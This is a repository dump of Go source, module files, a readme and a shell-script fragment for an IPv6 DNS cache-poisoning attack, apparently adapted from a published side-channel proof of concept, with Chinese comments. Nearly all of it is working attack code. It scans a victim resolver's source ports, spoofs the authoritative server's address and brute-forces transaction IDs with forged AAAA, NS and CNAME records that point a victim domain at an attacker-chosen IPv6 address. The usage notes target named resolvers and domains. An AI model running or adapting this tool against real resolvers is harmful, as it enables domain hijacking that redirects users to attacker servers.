fmt.Println("Found something interesting!")
}
r.priorityProbeChannel <- flowlabel
//right
id = allocateGroupID(r)
r.groups[id] = make([]uint16, groupLen-groupLen/2)
copy(r.groups[id], group[groupLen/2:groupLen])
for len(r.groups[id]) < GROUP_SIZE {
r.groups[id] = append(r.groups[id], 65535)
}
//fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2)
r.priorityProbeChannel <- flowlabel
}
} else {
if debugOutput {
fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel)
for _, port := range group {
fmt.Print(port)
}
}
}
}
func perIPLimitRecover(r *backendResolver, num int) {
for {
if r.perIPLimitCounter[num] < 6 {
time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond)
r.perIPLimitCounter[num]++
} else {
time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond)
}
}
}
func probeSender(r *backendResolver) {
for {
var id uint32
select {
case id = <-r.priorityProbeChannel:
break
case id = <-r.probeChannel:
break
//default:
// time.Sleep(time.Microsecond)
}
/* in favor of brute force when there is no per ip permit and there is only one port in group */
if getIPwithAvailableCounter(r) == nil && r.groups[id][1] == 65535 {
//brute force
r.networkXmitLock.Lock()
dnsBruteForce(r.groups[id][0], timeGap, r.resolverBackendIP, auxiliaryDomain)
r.networkXmitLock.Unlock()
r.alwaysOpenPorts[r.groups[id][0]] = true
continue
}
//test per ip rate limit
var verifyIP net.IP
for {
verifyIP = getIPwithAvailableCounter(r)
if verifyIP == nil {
time.Sleep(time.Millisecond)
} else {
break
}
}
//send
ports := r.groups[id]
r.networkXmitLock.Lock()
for i := 0; i < GROUP_SIZE; i++ {
if defaultJitter <= 3 {
if attackForwarder {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 100)
} else {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 1)
}
} else {
xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), id, 0)
}
}
time.Sleep(time.Duration(defaultJitter) * time.Millisecond)
//verify
xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, id, 10)
r.groupSendTime[id] = time.Now()
if rand.Uint32()%100 < 2 {
if debugOutput {
fmt.Println(r.resolverBackendIP, "probing", ports[0])
} else {
fmt.Println("Continue attacking...")
}
}
//recover global counter
if !attackForwarder {
time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond)
} else {
/* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */
time.Sleep(time.Duration(60) * time.Millisecond)
}
r.networkXmitLock.Unlock()
}
}
func portGroupFormer(r *backendResolver, startPort uint, endPort uint) {
for {
//divide into groups
var id uint32 = 0
var currentGroupSize = 0
for i := startPort; i <= endPort; i++ {
/* It's unlikely the port is reused for further queries. But it's still possible. Uncomment here if you feed like port reusing is unlikely to happen. */
//if r.alwaysOpenPorts[i] {
// continue
//}
if currentGroupSize%GROUP_SIZE == 0 {
if id != 0 {
r.probeChannel <- id
for j := 1; j < repeatTimes; j++ {
//dup
previd := id
id = allocateGroupID(r)
r.groups[id] = make([]uint16, len(r.groups[previd]))
copy(r.groups[id], r.groups[previd])
r.probeChannel <- id
}
}
id = allocateGroupID(r)
r.groups[id] = make([]uint16, 0)
}
r.groups[id] = append(r.groups[id], uint16(i))
currentGroupSize++
}
//deal with last several cases
if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 {
for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 {
r.groups[id] = append(r.groups[id], 65535)
}
r.probeChannel <- id
for j := 1; j < repeatTimes; j++ {
//dup
previd := id
id = allocateGroupID(r)
r.groups[id] = make([]uint16, len(r.groups[previd]))
copy(r.groups[id], r.groups[previd])
r.probeChannel <- id
}
}
}
}
func main() {
/* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */
/* IPv6 is not supported yet. */
/* Use "-h to get usage. " */
/* Author: Keyu Man (kman001@ucr.edu) */
/* Attaching PoC? */
/* Add Paper Bio? */
ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.")
/* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */
// gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac")
authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.")
resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.")
resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.")
resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.")
startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.")
endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.")
victimDNSName := flag.String("n", "", "The domain name to be poisoned.")
dnsQueryTmeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).")
defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.")
repeatTimes := flag.Uint("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.")
timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.")
//auxiliaryDomain := flag.String("ad", "", "Attacker-controlled domain used to host the fake NS for the victim domain and to store the fake AAAA record of the victim domain.")
attackertarget := flag.String("at", "", "攻击者想要更改到的IPv6地址")
debugOutput := flag.Bool("d", false, "Debug output mode.")
attackerMaliciousDomain := flag.String("af", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.")
soaName := flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)")
//特殊用途
isfake := flag.Int("f", 0, "")
flag.Parse()
//gatewayMac, _ := net.ParseMAC(*gateWayMacStr)
Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTmeout, *defaultJitter,
*attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attackertarget, *soaName, *isfake)
os.Exit(0)
}
func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg uint, timeGapArg uint, attackertargetIP string,
soaNameArg string, isfake int) {
fmt.Println("/***Please make sure to fill every argument carefully and correct. Otherwise the program will crash.***/")
// 特殊用途
if isfake == 1 {
c := new(dns.Client)
msg := new(dns.Msg)
if strings.Contains(attackertargetIP, ":") { // attackertargetIP -- 攻击者要更改到的IPv6地址
println("目标:" + resolverBackendIPArg.String()) // resolverBackendIPArg -- Back-end IP of the victim resolver
ipcode := strings.ReplaceAll(attackertargetIP, ":", "-")
if victimDNSNameArg[len(victimDNSNameArg)-1:] != "." { // victimDNSNameArg -- The domain name to be poisoned
victimDNSNameArg = victimDNSNameArg + "."
}
domain := ipcode + "." + victimDNSNameArg
fmt.Println("查询的目标域名:" + domain)
msg.SetQuestion(domain, dns.TypeAAAA)
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
return
} else {
println(attackertargetIP)
println(victimDNSNameArg)
println("参数有误请输入IPv6地址作为篡改目标结果")
}
} else {
c := new(dns.Client)
msg := new(dns.Msg)
// domain := "www.google.com."
// msg.SetQuestion(domain, dns.TypeAAAA)
// for i := 0; i < 10000; i++ {
// go func() {
// _, _, _ = c.Exchange(msg, net.JoinHostPort("8.8.8.8", "53"))
// }()
// }
domain := "daffteg." + victimDNSNameArg
msg.SetQuestion(domain, dns.TypeAAAA)
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
return
}
rand.Seed(time.Now().UnixNano())
handle, _ = pcap.OpenLive(
ifaceName,
65536,
true,
pcap.BlockForever,
)
println(authIPArg.To16().String())
err := handle.SetBPFFilter("not host " + authIPArg.To16().String())
if err != nil {
fmt.Println("cannot set BPF filter.")
}
iface, err := net.InterfaceByName(ifaceName)
if err != nil {
fmt.Println("cannot open network interface")
os.Exit(1)
}
if attackerMaliciousDomainArg != "" {
attackForwarder = true
fmt.Println("Forwarder Attack Mode!")
attackerControlledDomain = attackerMaliciousDomainArg
}
authIP = authIPArg
resolverIP = resolverIPArg
victimDNSName = victimDNSNameArg
debugOutput = debugOutputArg
timeGap = timeGapArg
soaName = soaNameArg
localIP, _ = GetIfaceAddrMulti(iface)
nonce := strconv.Itoa(rand.Int())
if !attackForwarder {
dnsQueryName = nonce + "." + victimDNSName
} else {
dnsQueryName = nonce + "." + attackerControlledDomain
}
defaultJitter = defaultJitterArg
repeatTimes = int(repeatTimesArg)
if resolverBackendList != "" {
file, err := os.Open(resolverBackendList)
if err != nil {
fmt.Println(err)
os.Exit(10)
}
for {
var resolverIP string
n, err := fmt.Fscanf(file, "%s", &resolverIP)
if n <= 0 || err != nil {
break
}
backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP)))
}
} else {
//r1 shouldn't be nil
r1 := backendResolverBuilder(resolverBackendIPArg)
backendResolvers = append(backendResolvers, r1)
}
//figure out MAC address
//test if it's in LAN first
dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16())
if err == nil {
ethernetLayer = &layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: dstMac,
//EthernetType: layers.EthernetTypeIPv4,
EthernetType: layers.EthernetTypeIPv6,
}
fmt.Println("Mac:", dstMac)
} else {
//query routing table
router, err := routing.New()
if err != nil {
fmt.Println(err)
os.Exit(4)
}
_, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP)
if err != nil {
fmt.Println(err)
os.Exit(5)
}
dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16())
if err != nil {
fmt.Println(err)
os.Exit(6)
}
fmt.Println("MAC:", dstMac)
ethernetLayer = &layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: dstMac,
//EthernetType: layers.EthernetTypeIPv4,
EthernetType: layers.EthernetTypeIPv6,
}
}
go receivingThread()
for i, ip := range localIP {
if debugOutput {
fmt.Println("use IP", ip)
}
for _, r := range backendResolvers {
go perIPLimitRecover(r, i)
}
}
go dnsRequestSender(dnsQueryTimeout)
for _, r := range backendResolvers {
go probeSender(r)
go portGroupFormer(r, startPort, endPort)
time.Sleep(25 * time.Millisecond)
}
time.Sleep(999 * time.Hour)
}
func allocateGroupID(r *backendResolver) uint32 {
r.groupIDCounterLock.Lock()
id := r.groupIDCounter
r.groupIDCounter++
if r.groupIDCounter == 0 {
r.groupIDCounter = 3
}
r.groupIDCounterLock.Unlock()
return id
}
func getBackendResolver(resolverIP net.IP) *backendResolver {
for _, r := range backendResolvers {
if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 {
return r
}
}
return nil
}
func lockNetwork() {
for _, r := range backendResolvers {
r.networkXmitLock.Lock()
}
}
func unlockNetwork() {
for _, r := range backendResolvers {
r.networkXmitLock.Unlock()
}
}
func getLocalIPNum(ip net.IP) int {
for i, localip := range localIP {
if compareIPv6Addr(localip, ip) == 0 {
return i
}
}
return -1
}
func backendResolverBuilder(backendIP net.IP) *backendResolver {
if backendIP == nil {
return nil
}
temp := backendResolver{
resolverBackendIP: backendIP,
groups: make([][]uint16, 65536),
groupIDCounter: 3,
groupIDCounterLock: &sync.Mutex{},
groupSendTime: make([]time.Time, 65536),
probeChannel: make(chan uint32, 655),
priorityProbeChannel: make(chan uint32, 655),
alwaysOpenPorts: make([]bool, 65536),
perIPLimitCounter: make([]int, len(localIP)),
networkXmitLock: &sync.Mutex{},
}
for i := range temp.perIPLimitCounter {
temp.perIPLimitCounter[i] = 6
}
for i := 0; i < 65536; i++ {
temp.alwaysOpenPorts[i] = false
}
temp.alwaysOpenPorts[53] = true
temp.alwaysOpenPorts[0] = true
temp.alwaysOpenPorts[65535] = true
return &temp
}
// distribute verification to multiple IPs evenly
func getIPwithAvailableCounter(r *backendResolver) net.IP {
seed := rand.Int() % len(localIP)
for i := 0; i < len(localIP); i++ {
if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 {
return localIP[(i+seed)%len(localIP)]
}
}
return nil
}

View File

@@ -0,0 +1,332 @@
package main
import (
"fmt"
"github.com/google/gopacket/layers"
"math/rand"
"net"
"time"
)
var bruteForceCouldBeKilled bool
func sendDNSRequest(id uint16, name string) {
if debugOutput {
fmt.Println("Send new DNS request", name, id)
}
_sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53)
}
func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
ipLayer := layers.IPv6{
FlowLabel: 1,
SrcIP: src,
DstIP: dst,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
//Flags: layers.IPv4DontFragment,
}
udpLayer := layers.UDP{
SrcPort: sport,
DstPort: dport,
}
dnsLayer := layers.DNS{
ID: id,
QR: false,
OpCode: 0,
AA: false,
TC: false,
RD: true,
RA: false,
Z: 0,
ResponseCode: 0,
QDCount: 1,
ANCount: 0,
NSCount: 0,
ARCount: 0,
Questions: []layers.DNSQuestion{{
Name: []byte(name),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}},
Authorities: nil,
Additionals: nil,
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
}
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ sendDNSRequest: ", err)
}
}
func bruteForceTerminatingTimer(timegap uint) {
time.Sleep(time.Duration(timegap) * time.Millisecond)
bruteForceCouldBeKilled = true
}
func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, auxDomain string) {
bruteForceShouldBeKilled = true
bruteForceCouldBeKilled = false
ipLayer := layers.IPv6{
FlowLabel: 2,
SrcIP: authIP,
DstIP: resolverBackendIP,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
//Flags: layers.IPv4DontFragment,
}
udpLayer := layers.UDP{
SrcPort: 53,
DstPort: layers.UDPPort(targetPort),
}
dnsLayer := layers.DNS{
ID: 0,
QR: true,
OpCode: 0,
AA: true,
TC: false,
RD: false,
RA: false,
Z: 0,
ResponseCode: layers.DNSResponseCodeNoErr,
/* Answers for A request for ns.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(victimAuthName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Answers: []layers.DNSResourceRecord{{
// Name: []byte(victimAuthName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: net.ParseIP(""),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Authorities: nil,
//Additionals: nil,
/* Answers for A request for www.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Answers: []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: net.ParseIP(""),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Authorities: nil,
//Additionals: nil,
/* Answers for A request for ***.www.a.com */
//Questions: []layers.DNSQuestion{{
// Name: []byte(dnsQueryName),
// Type: layers.DNSTypeA,
// Class: layers.DNSClassIN,
//}},
//Authorities: []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeNS,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: nil,
// NS: []byte(auxDomain),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}},
//Answers: nil,
//Additionals: nil,
}
if !attackForwarder {
dnsLayer.Questions = []layers.DNSQuestion{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}}
// 原方案将域名NS篡改到attacker的服务器上
//dnsLayer.Authorities = []layers.DNSResourceRecord{{
// Name: []byte(victimDNSName),
// Type: layers.DNSTypeNS,
// Class: layers.DNSClassIN,
// TTL: 300,
// IP: nil,
// NS: []byte(auxDomain),
// CNAME: nil,
// PTR: nil,
// TXTs: nil,
// SOA: layers.DNSSOA{},
// SRV: layers.DNSSRV{},
// MX: layers.DNSMX{},
// OPT: nil,
// TXT: nil,
//}}
//dnsLayer.Answers = nil
//dnsLayer.Additionals = nil
dnsLayer.Authorities = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeNS,
Class: layers.DNSClassIN,
TTL: 300,
IP: nil,
NS: []byte(auxDomain),
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
dnsLayer.Answers = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
TTL: 300,
/* Fill with any IP you want. The victim domain will be hijacked to this IP. */
IP: net.ParseIP("2001::1234"),
NS: nil,
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
dnsLayer.Additionals = nil
} else {
/* Change these flags accordingly to the request sent by the resolver. */
dnsLayer.AA = false
dnsLayer.RD = true
dnsLayer.RA = true
dnsLayer.Questions = []layers.DNSQuestion{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}}
dnsLayer.Answers = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeCNAME,
Class: layers.DNSClassIN,
TTL: 300,
IP: nil,
NS: nil,
CNAME: []byte(victimDNSName),
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}, {
Name: []byte(victimDNSName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
TTL: 300,
/* Fill with any IP you want. The victim domain will be hijacked to this IP. */
IP: net.ParseIP("2001::1234"),
NS: nil,
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err)
}
if debugOutput {
fmt.Println("DNS BruteForce: ", targetPort)
}
startTime := time.Now()
var txid uint16
//try to see if this port is open in reality
for txid = 0; txid < GROUP_SIZE*2; txid++ {
dnsLayer.ID = txid
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err)
}
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
/* This is used for early termination */
//verification packet
//xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0)
//go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60)
//continue brute force
for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ {
/* This is used for early termination */
//if bruteForceCouldBeKilled && bruteForceShouldBeKilled {
// fmt.Println("DNS Brute force aborted")
// break
//}
dnsLayer.ID = txid
err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ DNSBruteForce: ", err)
}
if timegap != 0 {
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
}
//0xffff is missing from packet trace
/* This is used for early termination */
//if !bruteForceShouldBeKilled {
dnsLayer.ID = 0xffff
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err)
}
//}
if debugOutput {
fmt.Println("time: ", time.Now().Sub(startTime))
}
//help to recover the global counter
time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond)
}

Binary file not shown.

View File

@@ -0,0 +1,15 @@
module fakedns6
go 1.20
require (
github.com/google/gopacket v1.1.19
github.com/miekg/dns v1.1.57
)
require (
golang.org/x/mod v0.12.0 // indirect
golang.org/x/net v0.17.0 // indirect
golang.org/x/sys v0.13.0 // indirect
golang.org/x/tools v0.13.0 // indirect
)

View File

@@ -0,0 +1,25 @@
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

View File

@@ -0,0 +1,171 @@
package main
import (
"encoding/binary"
"errors"
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"net"
"time"
)
func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) {
addrs, err := iface.Addrs()
if err != nil {
return nil, errors.New("can not get ip address")
}
var srcIP []net.IP
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To16() != nil {
//check repeat
okToAdd := true
for _, temp := range srcIP {
if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 {
okToAdd = false
break
}
}
if okToAdd {
srcIP = append(srcIP, ipnet.IP.To16())
}
}
}
}
if srcIP == nil || len(srcIP) == 0 {
return nil, errors.New("can not get ip address")
}
return srcIP, nil
}
func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
return err
}
return handle.WritePacketData(buffer.Bytes())
}
func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
addrs, err := iface.Addrs()
if err != nil {
return nil, errors.New("can not get ip address")
}
var srcIP net.IP
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To16() != nil {
srcIP = ipnet.IP.To16()
break
}
}
}
if srcIP == nil {
return nil, errors.New("can not get ip address")
}
return srcIP, nil
}
func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) {
srcIP, err := GetIfaceAddr(iface)
if err != nil {
return nil, errors.New("can not get ip address")
}
start := time.Now()
// Prepare the layers to send for an ARP request.
eth := layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
EthernetType: layers.EthernetTypeARP,
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv6,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPRequest,
SourceHwAddress: []byte(iface.HardwareAddr),
SourceProtAddress: []byte(srcIP),
DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
DstProtAddress: []byte(gatewayIP),
}
// Send a single ARP request packet (we never retry a send, since this
// is just an example ;)
if err := Send(handle, &eth, &arp); err != nil {
return nil, err
}
// Wait 3 seconds for an ARP reply.
for {
if time.Since(start) > time.Second*3 {
return nil, errors.New("timeout getting ARP reply")
}
data, _, err := handle.ReadPacketData()
if err == pcap.NextErrorTimeoutExpired {
continue
} else if err != nil {
return nil, err
}
packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil {
arp := arpLayer.(*layers.ARP)
if net.IP(arp.SourceProtAddress).Equal(gatewayIP) {
return arp.SourceHwAddress, nil
}
}
}
}
func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int {
temp0 := binary.LittleEndian.Uint32(ip0.To16())
temp1 := binary.LittleEndian.Uint32(ip1.To16())
if temp0 == temp1 {
return 0
}
if temp0 > temp1 {
return 1
}
return -1
}
func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) {
ipLayer := layers.IPv6{
FlowLabel: flowlabel,
SrcIP: srcIP,
DstIP: dstIP,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
}
udpLayer := layers.UDP{
SrcPort: srcPort,
DstPort: dstPort,
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err)
}
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer)
if err != nil {
fmt.Println("xmitUDPv6 can not send packet", err)
}
if timegap != 0 {
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
}

Binary file not shown.

1
4_v6_injection/txid.bin Normal file
View File

@@ -0,0 +1 @@
G"

Binary file not shown.

3
5_v6_fake/Readme.md Normal file
View File

@@ -0,0 +1,3 @@
## 使用说明
./attack.sh 【目标解析器IP】【想要将AAAA记录修改指向的IPv6地址】 【发包网口(例如eth0)】 【目标域名】【目标权威服务地址】

55
5_v6_fake/attack.sh Executable file
View File

@@ -0,0 +1,55 @@
#!/bin/bash
# This is a sample attack script and may not work properly. Please adjust the parameter accordingly.
# $1 for victim resolver IP, $2 for attacker-controlled domain, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
# Please run with sudo.
# Verify the existing record domain, just for proof purposes.
echo '获取原记录中:'
dig @$1 $4 AAAA
